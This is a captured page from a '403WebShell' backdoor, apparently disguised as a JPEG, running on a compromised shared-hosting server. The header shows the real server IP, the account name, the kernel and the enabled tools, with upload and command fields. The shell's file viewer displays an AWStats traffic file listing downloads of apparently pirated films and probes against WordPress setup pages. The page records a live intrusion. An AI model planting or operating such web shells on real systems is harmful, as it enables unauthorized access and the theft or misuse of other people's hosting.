����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 13.59.90.172
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/tmp/awstats/ssl/awstats122023.glfiles.name.ng.gltechlimited.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202312 will be lost/reset.
# Last config file used to build this data file was /home/gltevjme/tmp/awstats/ssl/awstats.glfiles.name.ng.gltechlimited.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2034                
POS_TIME 2712                
POS_VISITOR 22530               
POS_DAY 48454               
POS_DOMAIN 3690                
POS_LOGIN 4336                
POS_ROBOT 4491                
POS_WORMS 5259                
POS_EMAILSENDER 5390                
POS_EMAILRECEIVER 5533                
POS_SESSION 49424               
POS_SIDER 49636               
POS_FILETYPES 5668                
POS_DOWNLOADS 6052                
POS_OS 14538               
POS_BROWSER 14932               
POS_SCREENSIZE 16780               
POS_UNKNOWNREFERER 16854               
POS_UNKNOWNREFERERBROWSER 17651               
POS_ORIGIN 18218               
POS_SEREFERRALS 18364               
POS_PAGEREFS 18529               
POS_SEARCHWORDS 19279               
POS_KEYWORDS 19431               
POS_MISC 2375                
POS_ERRORS 19490               
POS_CLUSTER 4192                
POS_SIDER_404 19652               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240101002718 35 9001 3669192738404
FirstTime 20231201014307
LastTime 20231231150917
LastUpdate 20240101081235 35 0 34 0 0
TotalVisits 583                 
TotalUnique 489                 
MonthHostsKnown 0                   
MonthHostsUnknown 697                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
TotalMisc 0 0 0
PDFSupport 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 64 0
JavascriptDisabled 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 74 332 6268936581 54 159 978526
1 69 252 3854937063 46 81 425863
2 129 344 6017780205 77 215 1828327
3 105 409 3237082952 42 159 1135556
4 29 131 4732870932 84 221 1298581
5 117 367 2970941416 59 189 1796628
6 97 371 2492282494 44 106 1075733
7 97 232 593335399 70 145 1044385
8 309 954 4085126228 52 142 1206725
9 70 240 5372379779 36 135 1515085
10 174 615 9588334542 66 183 731822
11 136 373 2872079452 56 128 735903
12 134 432 15367563289 60 127 486207
13 135 509 3848143345 36 62 148476
14 106 311 9579047698 29 50 130706
15 157 396 3952416386 45 177 1773970
16 209 527 5413591053 63 103 311589
17 474 1102 4239006349 73 186 861330
18 403 995 3073503923 49 121 440168
19 118 481 4547809267 53 78 629864530
20 89 418 7313646806 44 107 1143161914
21 13 86 1777242785 37 52 258860
22 11 57 1407507400 20 38 224204
23 58 230 81506655 30 113 855561
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 27
ng 1474 4836 65750937707
id 1456 3971 31349071771
us 186 509 4470147270
at 50 87 497042
gb 31 209 2152328634
gh 20 65 212512824
ip 20 78 1988234
ca 14 14 56056
lr 11 116 4719112
ae 8 42 352910759
fr 5 6 22349
sl 5 19 878345064
za 5 37 151888560
be 4 16 41104
tr 3 30 324049
ua 3 32 1564682
ro 3 33 527281359
au 2 2 8008
ru 2 2 8008
hn 2 6 71095
pk 2 8 52963
de 2 2 0
nl 2 2 8008
ao 1 36 5565025201
eu 1 1 4004
in 0 4 63625
na 1 1 724
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 16
Googlebot/ 953 10948215 20231231232521 0
DotBot/ 177 685843 20231222153247 2
facebookexternalhit/ 164 1603806 20231231224359 0
bingbot/ 124 1210363 20231231180043 0
Applebot/ 122 1305793 20231223002302 0
AhrefsBot/ 78 630433 20231231142649 0
Googlebot\-Image/ 67 714126 20231231122704 0
no_user_agent 48 1771284541 20231231210254 0
SemrushBot/ 33 146279 20231230010031 0
feed 15 57024 20231231181602 0
Dalvik/ 15 45330 20231212051008 0
Googlebot\-Video/ 10 35161 20231231225527 0
Apache\-HttpClient/ 3 12012 20231221050024 0
survey 2 8008 20231207234332 0
[\s_+:,\.\;\/\\-]bot 1 4004 20231223075519 0
CFNetwork 1 5016 20231217090139 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 16
svg 7 363979 0 0
png 1229 8318181 0 0
mkv 362 45683933050 0 0
js 3010 39234057 0 0
ttf 10 8454160 0 0
gif 52 110849 0 0
jpg 20 866807 0 0
html 181 875289 0 0
txt 1 625 0 0
php 1 0 0 0
woff2 192 2612764 0 0
eot 8 1494568 0 0
mp4 433 65481378108 0 0
Unknown 2778 64840638 0 0
css 1737 17172733 0 0
woff 143 110222404 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 98
/e21a9f5876a023e1/Breath_of_Life_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 88 4 15087279454
/46b49e872853dfe4/The_Marvels_(2023)_CAMRip_high_(NETXIE.COM.NG).mp4 82 10 8895056284
/20516a9716d61158/The.One.Who.Got.Away.2023.480p.[NETXIE.COM.NG].mkv 52 1 6462965791
/422e1c9f1fd2a1f0/AXL_(2018)_BluRay_high_(NETXIE.COM.NG).mp4 37 6 7416679308
/I2/SHE.Must.Be.Obeyed.S01E01.720p.Esub.[NETXIE.COM.NG].mkv 34 1 1387082045
/409ce6d3ef6036c3/Youre_All_Gonna_Die_(2023)_WEBRip_high_(NETXIE.COM.NG).mp4 28 3 4908156101
/bb51403c43e60b52/Finestkind_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 23 0 3912721341
/ad6823e3deb147ff/Outrage.2023.480p.HMAX.WEBRip.x265.[NETXIE.COM.NG].mkv 22 0 2293809615
/39ab6bc4af5bd051/The_Five_(2023)_WEBRip_high_(NETXIE.COM.NG).mp4 22 2 3635224047
/47111fdc02a8f18f/Pirates.II.Stagnettis.Revenge.2008.720P.sub.ITA.ENG.NETXIE.COM.NG.mkv 21 0 3513056527
/e6b7794a9c3e43fb/Thanksgiving.2023.480p.WEBRip.x265.[NETXIE.COM.NG].mkv 20 0 3859497283
/0cc1b89f61a3ec19/Blood.Vessel.2023.IJO.480p.WEBRip.x265.[NETXIE.COM.NG].mkv 20 0 3255836034
/6fd1c1fa0845d5ae/Leo.2023.(NETXIE.COM.NG).WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 19 0 2875595544
/411a0f79d0d2ee56/Cyborg_(1989)_BluRay_high_(NETXIE.COM.NG).mp4 18 4 1831275844
/fdab8d20181da08e/The_Snarling_(2018)_BluRay_high_(NETXIE.COM.NG).mp4 16 0 2567338227
/fc0238ce9b85b9ee/Project_Ithaca_(2019)_BluRay_high_(NETXIE.COM.NG).mp4 16 0 2737393862
/15b69498c45a2b1e/Ape.vs.Mecha.Ape.2023.480p.BluRay.x265.[NETXIE.COM.NG].mkv 16 1 2794954852
/1c1e622143ee3b01/Northern_Shade_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 15 12 1786166997
/d3bdb1948d362683/Freelance.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 14 1 2122279326
/71db789aacd8f0de/Land_of_the_Dead_(2005)_BluRay_high_(NETXIE.COM.NG).mp4 13 8 1869258737
/aee20cc92777c9ce/Ijakumo.The.Born.Again.Stripper.2022.480p.Esub.[NETXIE.COM.NG].mkv 11 159 592001739
/584d8994e7f2f494/Hell.House.LLC.Origins.The.Carmichael.Manor.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 11 1 1867902120
/tc/Lang_Lang_Plays_Disney_(2023)_WEBRip_high_(Netxie.com.ng).mp4 10 0 35161
/e4fac5e649783fbc/Hansan.Rising.Dragon.(NETXIE.COM.NG).2022.CPNG.WEB-DL.DOWNLOADED.FROM.NETXIE.COM.NG.mp4 10 0 1595281588
/a1f33000a6598a86/Badboys.and.Bridesmaids.2021.1080p.[NETXIE.COM.NG].mkv 9 0 1491543946
/895de63cb882d9d8/Kiss_and_Kill_(2017)_HDRip_high_(NETXIE.COM.NG).mp4 9 0 1490194475
/af9230d2771cb083/Ballerina.(NKIRI.COM).2023.WEBRip.DOWNLOADED.FROM.NKIRI.COM.mkv 9 0 1418947056
/486bcd4f7f174a94/Wura.S02E01.480p.[NETXIE.COM.NG].mkv 8 1 405631324
/t0/The.Wheel.of.Time.S02E08.(NETXIE.COM.NG).mkv 7 0 351079316
/8598966f302bcd21/Heaven_and_Hell_(2018)_WEB-DL_high_(NETXIE.COM.NG).mp4 6 0 704623361
/53484e6ae4c42130/Monsternado.2023.480p.WEBRip.x265.[NETXIE.COM.NG].mkv 6 0 885565212
/1916e73b75301c56/Transmorphers.Mech.Beasts.2023.480p.WEBRip.x265.[NETXIE.COM.NG].mkv 6 0 882538443
/befd6233fcc13f2f/365_Days_(2020)_WEB-DL_high_(NETXIE.COM.NG).mp4 6 0 1053656171
/eb6841bda5ed56a6/Sukhee.2023.Hindi.480p.WEBRip.x265.AAC.ESub.[NETXIE.COM.NG].mkv 6 0 1055073207
/b76b867dac0b2d04/Under.The.Boardwalk.(NETXIE.COM.NG).2023.AMZN.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 6 0 1427860401
/I3/SHE.Must.Be.Obeyed.S01E02.720p.Esub.[NETXIE.COM.NG].mkv 5 0 88990848
/7b72a7e1bbe5ea57/Wreck-It_Ralph_(2012)_BluRay_high_(NETXIE.COM.NG).mp4 5 1 781394914
/802beffa76785fc5/The.Squad.2023.480p.AMZN.WEBRip.x265.[NETXIE.COM.NG].mkv 5 0 751861690
/4f94d7a477048faf/Encanto_(2021)_BluRay_high_(NETXIE.COM.NG).mp4 5 0 1206331582
/83c2d269b8ac41b4/Kane.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 5 0 713877233
/1239a221110ef3e6/The_Dwarves_of_Demrel_(2018)_WEB-DL_high_(NETXIE.COM.NG).mp4 5 2 722106833
/c1d61c936cd2f12f/The.Naughty.Nine.(NETXIE.COM.NG).2023.DSNP.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 5 0 704553279
/fb4030b45fe1bd35/Battle.on.Buka.Street.2022.480p.Esub.[NETXIE.COM.NG].mkv 4 3 368530007
/HZ/The.One.for.Sarah.2023.NF.1080p.Esub.[Netxie.com.ng].mkv 4 0 15147
/942d6732f43da48f/Loki.S02E02.(NETXIE.COM.NG).mkv 4 0 335386132
/5e64e31db5d40c4b/Ouija_Witch_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 4 1 250933062
/988c5ff5207ba3fb/Talk_to_Me_2023_(2023)_CAMRip_high_(NETXIE.COM.NG).mp4 4 0 529745616
/e21a9f5876a023e1/Download%20file%20-%20Breath_of_Life_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 4 0 15281
/1878b2b87501a2fd/Jawan.2023.(NETXIE.COM.NG).WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 4 3 533426450
/sc/The.Wheel.of.Time.S02E04.(NETXIE.COM.NG).mkv 4 0 14401
/IO/The.Nun.II.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 4 8 188481837
/rF/Concrete.Utopia.(NETXIE.COM.NG).2023.WEB-DL.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 4 0 15189
/13b8de04e61d73ce/Bleeding_Steel_(2017)_BluRay_high_(NETXIE.COM.NG).mp4 4 0 364539478
/48f5f02d0d96fe89/Loki.S02E01.(NETXIE.COM.NG).mkv 4 0 304053144
/sd/The.Wheel.of.Time.S02E05.(NETXIE.COM.NG).mkv 4 0 14405
/077ccfa51eca4dc0/No.Way.Through.2023.480p.Esub.[NETXIE.COM.NG].mkv 4 0 702791000
/si/The.Wheel.of.Time.S02E02.(NETXIE.COM.NG).mkv 3 0 10637
/s6/SHE-Must-Be-Obeyed-S01E04-480p-(Netxie.com.ng).mkv 3 0 87190707
/se/The.Wheel.of.Time.S02E06.(NETXIE.COM.NG).mkv 3 0 10643
/4553cb64b53020bf/The_Hive_2023_(2023)_WEBRip_high_(NETXIE.COM.NG).mp4 3 0 527437188
/s4/SHE-Must-Be-Obeyed-S01E03-480p-(Netxie.com.ng).mkv 3 0 87993879
/81a363aa318e2952/Tuhog.2023.480p.Tagalog.WEB.DL.HEVC.x265.[NETXIE.COM.NG].mkv 3 0 331155980
/sh/The.Wheel.of.Time.S02E01.(NETXIE.COM.NG).mkv 3 0 10648
/00d33760d75ad22a/The_Bad_Guys_(2022)_BluRay_high_(NETXIE.COM.NG).mp4 3 0 630478742
/sf/The.Wheel.of.Time.S02E07.(NETXIE.COM.NG).mkv 3 0 10639
/93cfbd2dc6727d44/The-One-For-Me-2023-720p-(NETXIE.COM.NG).mkv 3 0 605003105
/s5/SHE-Must-Be-Obeyed-S01E05-480p-(Netxie.com.ng).mkv 3 0 86325303
/2bc7452919c7646e/65_2023_(2023)_BluRay_high_(NETXIE.COM.NG).mp4 3 0 442300676
/01ae4f5770296146/Dashing_Through_the_Snow_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 2 0 352199614
/61002e14ec08062a/Wura.S02E08.480p.[NETXIE.COM.NG].mkv 2 0 6590368
/07da43a7ca892523/Wura.S02E13.480p.[9jaRocks.Com].mkv 2 0 3404084
/sg/The.Wheel.of.Time.S02E03.(NETXIE.COM.NG).mkv 2 0 7536
/themes/spirit/___INSTALLATION.txt 2 0 1250
/20516a9716d61158/Download%20file%20-%20The.One.Who.Got.Away.2023.480p.[NETXIE.COM.NG].mkv 2 0 7596
/f795dd77acc92fa1/The.Shepherd.(NETXIE.COM.NG).2023.DSNP.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 2 0 122735610
/rt/Mission.Impossible.(NETXIE.COM.NG).1996.BluRay.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 2 0 7594
/87bc8f3a8e35cdbc/The.Other.Zoey.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 2 0 352010147
/817bd831f917d894/RHOL.S02E01.720p.[NETXIE.COM.NG].mkv 2 0 352132598
/t8/V.H.S.85.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 2 0 7585
/te/The.Meg.(NETXIE.COM.NG).2018.BluRay.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 2 0 7579
/764655d22466e5ae/The.Origin.Madam.Koi.Koi.S01E02.480p.[NETXIE.COM.NG].mkv 2 0 351854622
/31fe5002b833fec5/Haliparot.2023.480p.Tagalog.WEB.DL.HEVC.x265.[NETXIE.COM.NG].mkv 2 0 352481522
/00d33760d75ad22a/The_Bad_Guys_(2022)_BluRay_high_(fzmovies.net)_6255cc3abc2b64f7312766179bcbff5e.mp4 2 0 558689074
/fd4b04aa2f3c89d2/Fast.Charlie.2023.480p.AMZN.WEBRip.x265.[NETXIE.COM.NG].mkv 1 0 175730631
/0bdfffb9d5a0eb22/WWE.Monday.Night.Raw.2023.11.20.HDTV.x265.NWCHD.[NETXIE.COM.NG].mkv 1 0 64205582
/01dcb6c224713291/Wura.S02E09.480p.[NETXIE.COM.NG].mkv 1 0 46741102
/3095f0ceb0e8c881/Tom_Clancys_the_Division_-_Agent_Origins_(2016)_WEBRip_high_(NETXIE.COM.NG).mp4 1 0 76800945
/3ad644f10a626b7d/Raised.Apart.2023.480p.[NETXIE.COM.NG].mkv 1 0 179470328
/tf/Blue.2020.720p.[NETXIE.COM.NG].mkv 1 0 3755
/video/embed/0bdfffb9d5a0eb22/640x320/WWE.Monday.Night.Raw.2023.11.20.HDTV.x265.NWCHD.[NETXIE.COM.NG].mkv 1 0 3002
/cb9e5be6867c277d/Luther_The_Fallen_Sun_(2023)_WEBRip_high_(NETXIE.COM.NG).mp4 1 0 4969592
/303722dc427d292e/Guardians_of_the_Galaxy_Vol._3_(2023)_BluRay_high_(NETXIE.COM.NG).mp4 1 3 17482546
/tl/Spy.Kids.Armageddon.(NETXIE.COM.NG).2023.WEB.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 1 0 3805
/be0364dc73b68578/Creation.Of.The.Gods.I.Kingdom.Of.Storms.(NETXIE.COM.NG).2023.WEBRip.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 1 0 8301532
/2f18b2459e7dd3c3/Troy_(2004)_BluRay_high_(NETXIE.COM.NG).mp4 1 0 40911355
/f51de391ccc0a9a5/Ambush.(NETXIE.COM.NG).2023.BluRay.DOWNLOADED.FROM.NETXIE.COM.NG.mkv 1 0 18599362
/3c2711602908ac7e/Wura.S02E04.480p.[NETXIE.COM.NG].mkv 1 0 62867914
/e6bad4a0776543f2/Wura.S02E07.480p.[NETXIE.COM.NG].mkv 1 0 9803059
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 22
win7 7 2
android10 2883 625
macosx10 1 1
linuxubuntu 4 4
macosx11 46 15
macosx14 45 44
androidmarshmallow 40 17
macosx 4 2
androidoreo 170 40
win8.1 1 1
win8 1 1
ios_iphone 410 93
bsdfreebsd 1 1
androidpie 34 4
Unknown 76 35
winlong 1 1
android 2234 592
macosx7 1 1
androidnougat 40 7
win10 4249 1760
macosx15 80 18
linux 71 49
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 82
chrome55.0.2859.0 1 1
firefox112.0 25 4
chrome45.0.2454.93 1 1
firefox95.0 1 1
safari16.2 32 3
chrome52.0.2743.98 3 3
chrome111.0.5563.116 90 6
chrome107.0.0.0 62 16
chrome83.0.4103.97 8 8
chrome106.0.0.0 25 3
chrome80.0.3987.99 38 5
chrome120.0.0.0 697 104
chrome116.0.0.0 143 22
chrome117.0.0.0 204 53
chrome95.0.4638.54 1 1
firefox102.0 1137 417
chrome87.0.4280.141 14 0
chrome96.0.4664.104 45 4
safari 99 26
chrome113.0.0.0 9 5
safari16.6 44 11
chrome59.0.3071.125 1 1
iphone 3 1
chrome52.0.2743.116 2 2
chrome79.0.3945.116 34 4
chrome109.0.5414.117 2 1
chrome97.0.4692.98 60 16
chrome14.0.835.186 1 1
chrome28.0.1469.0 2 2
chrome91.0.4472.114 3 3
chrome120.0.6099.43 81 10
chrome119.0.6045.67 86 8
chrome70.0.3538.110 107 29
chrome86.0.4240.111 1 1
opera72.0.2254.67831 29 18
android 13 0
chrome72.0.3626.121 73 45
chrome20.0.1092.0 1 1
netscape5.0 1 1
safari15.6.6 66 35
chrome105.0.5195.136 28 3
chrome118.0.0.0 144 26
chrome112.0.5615.136 37 6
opera65.1.3381.61266 1 1
chrome112.0.0.0 25 10
chrome109.0.0.0 227 38
chrome119.0.0.0 3747 1446
chrome41.0.2228.0 1 1
chrome37.0.2049.0 1 1
chrome102.0.0.0 37 5
chrome108.0.0.0 39 23
chrome114.0.0.0 1180 443
mozilla 47 16
chrome86.0.4239.0 30 3
chrome105.0.0.0 204 33
Unknown 28 18
chrome66.0.3359.181 9 9
chrome111.0.0.0 619 209
chrome101.0.0.0 72 10
chrome110.0.0.0 37 6
chrome120.0.6099.71 12 11
safari17.1.2 75 7
chrome115.0.0.0 13 4
firefox115.0 4 4
opera75.0.2254.68857 36 10
opera79.3.4195.76674 38 5
chrome94.0.4606.85 54 10
safari16.1 60 6
chrome119.0.6045.164 1 1
chrome90.0.4430.210 46 14
chrome108.0.5359.128 17 3
chrome90.0.4430.82 46 8
msie11.0 5 0
safari13.1.2 1 1
firefox82.0 1 1
chrome15.0.874.120 1 1
firefox52.0 46 15
firefox121.0 43 7
chrome92.0.4515.131 8 4
chrome78.0.3904.108 102 16
safari16.0 31 4
chrome22.0.1229.79 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 10
quic-go-HTTP/3 20231208033345
python-requests/2.31.0 20231205174032
Mozilla/5.0_zgrab/0.x 20231211010827
WhatsApp/2.23.20.0 20231220030858
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20231229120023
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20231223233632
okhttp/3.12.8 20231221083812
okhttp/4.11.0 20231223195741
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231229173747
Python/3.8_aiohttp/3.9.1 20231212000606
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 7
quic-go-HTTP/3 20231208033345
WhatsApp/2.23.20.0 20231220030858
python-requests/2.31.0 20231205174032
okhttp/3.12.8 20231221083812
okhttp/4.11.0 20231223195741
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231229173747
Python/3.8_aiohttp/3.9.1 20231212000606
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 275 466
From1 0 0
From2 56 57
From3 359 387
From4 2623 9489
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 56 57
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 13
https://netxie.com.ng 331 353
https://netxie.com.ng/watch/encanto.html 5 5
https://netxie.com.ng/watch/under-the-boardwalk.html 5 5
https://netxie.com.ng/watch/youre-all-gonna-die.html 4 4
https://netxie.com.ng/watch/the-bad-guys 4 4
https://www.netxie.com.ng 2 8
https://netxie.com.ng/watch/leo.html 2 2
https://netxie.com.ng/watch/monsternado.html 1 1
https://netxie.com.ng/watch/wreck-it-ralph 1 1
https://netxie.com.ng/watch/talk-to-me 1 1
https://netxie.com.ng/watch/the-squad 1 1
https://netxie.com.ng/watch/raised-apart-2023-nollywood-movie 1 1
https://netxie.com.ng/watch/the-marvels.html 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 7
403 6 7374
206 2 1128342
301 1 707
302 698 181773
404 439 1325161
503 11 9416
500 3 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 41
/backup/wp-admin/setup-config.php 1 www.google.com
/Download%20file%20-%20The.One.Who.Got.Away.2023.480p.[NETXIE.COM.NG].mkv 13 https://glfiles.name.ng/20516a9716d61158
/The.One.Who.Got.Away.2023.480p.[NETXIE.COM.NG].mkv 13 https://glfiles.name.ng/20516a9716d61158
/sitemap.xml.gz 3 -
/OLD/wp-admin/setup-config.php 1 www.google.com
//glfiles.name.ng/themes/spirit/assets/frontend/js/smooth-scroll.min.js 2 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/cookiealert.js 2 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/datepicker.js 2 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/jquery.steps.min.js 2 -
/robots.txt 251 -
/sitemap.xml 4 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/jquery.dataTables.min.js 2 -
/wp-admin/setup-config.php 1 www.google.com
//glfiles.name.ng/themes/spirit/assets/frontend/js/scripts.js 1 -
/a 1 -
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js 2 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/flickity.min.js 2 -
/magento_version 1 -
/old/wp-admin/setup-config.php 1 www.google.com
/], 18 https://glfiles.name.ng/e21a9f5876a023e1
//alwingulla.com/88/tag.min.js 2 -
/20516a9716d61158&ea=0&pra=5&wgl=1&easpi=0&asro=0&asiscm=1&aslmt=0.4&asamt=-1&asedf=0&asefa=1&aseiel=1~2&uach=WyJBbmRyb2lkIiwiIiwiIiwiIiwiIixudWxsLDEsbnVsbCwiIixudWxsLDBd&dt=1701524434719&bpp=7&bdt=2320&idt=303&shv=r20231129&mjsv=m202311150101&ptt=9&saldr= 3 https://glfiles.name.ng/
/install.php 1 -
/],app-emailsubscribe,app-newsletter-widget,div.newsletter-image,div[data-newsletter-1],div[data-newsletter-2],gannett-atoms-component-newsletter-cta,hl-newsletter-cta,div 18 https://glfiles.name.ng/e21a9f5876a023e1
/Download%20file%20-%20Breath_of_Life_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 18 https://glfiles.name.ng/e21a9f5876a023e1
/Breath_of_Life_(2023)_WEB-DL_high_(NETXIE.COM.NG).mp4 18 https://glfiles.name.ng/e21a9f5876a023e1
/sitemap_index.xml 1 -
/wp-login.php 10 http://glfiles.name.ng/wp-login.php
/csr/pheerag/rkgen.ugzy 1 -
//glfiles.name.ng/themes/spirit/assets/frontend/js/granim.min.js 2 -
/wordpress/wp-admin/setup-config.php 1 -
/sitemap.txt 2 -
